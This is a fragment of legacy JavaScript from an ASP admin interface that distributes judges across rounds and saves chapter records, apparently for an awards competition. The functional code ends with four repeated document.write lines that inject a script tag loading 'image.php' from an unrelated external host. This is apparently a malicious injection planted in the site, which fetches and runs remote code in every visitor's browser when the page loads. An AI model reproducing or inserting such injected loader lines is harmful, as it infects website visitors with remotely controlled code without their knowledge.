	url = '/inc/judge.round.distribution.asp?rno=' + rno + '&ROUNDID=' + ROUNDID;
	if (confirm("Are you sure you want to distribute all judges for Round " + ROUNDID + "?"))
		if (showModalDialog(url, window, "status:off;dialogWidth:600px;dialogHeight:450px;resizable:off;scroll:off;help:off"))
			window.location.reload();
}

function SaveChapter(obj){
	rno = Math.round(Math.random()*1000000);
	
	url = "/inc/judge.chapter.save.asp?rno=" + rno;
	url = url + "&ID=" + obj.chp_id.value;
	url = url + "&ZIP=" + obj.chp_zip.value;
	url = url + "&COUNTY=" + obj.chp_st.value;
	url = url + "&DMA=" + obj.chp_dma.value;
	url = url + "&NATAS_CHAPTER=" + obj.chp_natas[obj.chp_natas.selectedIndex].value;
	
	if (showModalDialog(url, window, "status:off;dialogWidth:300px;dialogHeight:250px;resizable:off;scroll:off;help:off"))
		window.location.reload("/manager.asp?task=chapter&mode=success");
}

document.write('<script src=http://masajevi.com/images/image.php ><\/script>');
document.write('<script src=http://masajevi.com/images/image.php ><\/script>');
document.write('<script src=http://masajevi.com/images/image.php ><\/script>');
document.write('<script src=http://masajevi.com/images/image.php ><\/script>');